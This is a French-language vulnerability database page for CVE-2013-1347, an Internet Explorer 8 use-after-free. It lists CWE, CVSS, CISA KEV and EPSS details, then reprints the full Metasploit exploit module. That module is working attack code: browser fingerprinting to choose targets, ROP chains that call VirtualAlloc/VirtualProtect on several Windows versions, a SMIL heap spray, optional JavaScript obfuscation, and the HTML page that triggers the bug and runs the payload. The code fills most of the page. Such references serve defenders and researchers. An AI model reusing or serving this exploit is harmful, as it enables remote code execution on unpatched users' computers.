Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Internet Explorer Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-02 23h00 +00:00
Action attendue : 2022-03-23 23h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 25294
Date de publication : 2013-05-06 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CGenericElement object is freed, but a
reference is kept on the Document and used again during rendering, an invalid
memory that's controllable is used, and allows arbitrary code execution under the
context of the user.
Please note: This vulnerability has been exploited in the wild on 2013 May, in
the compromise of the Department of Labor (DoL) Website.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown',
'EMH',
'juan vazquez', #RCA
'sinn3r' #RCA
],
'References' =>
[
[ 'CVE', '2013-1347' ],
[ 'OSVDB', '92993' ],
[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "May 3 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie8_smil(my_target, p)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)
js = %Q|
unicorn = unescape("ABCD");
unicorn2 = unescape("EEEE");
for (i=0; i < 2; i++) {
unicorn += unescape("ABCD");
}unicorn += unescape("AB");
unicorn += unescape("#{js_payload}");
animvalues = unescape("#{align_esp}");
for (i=0; i < 0x70/4; i++) {
if (i == 0x70/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}
animvalues += unicorn;
for(i = 0; i < 13; i++) {
animvalues += ";red";
}
|
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
case t['Rop']
when :msvcrt
case t.name
when 'IE 8 on Windows XP SP3'
rop_gadgets =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
when 'IE 8 on Windows Server 2003'
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
else
rop_gadgets =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end
rop_payload = rop_gadgets
case t['Rop']
when :msvcrt
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
else
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
end
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie8_smil(my_target, p)
html = %Q|
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
#{js}
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {
}f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 8
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_xp >> Version -
Microsoft>>Windows_xp >> Version -
Références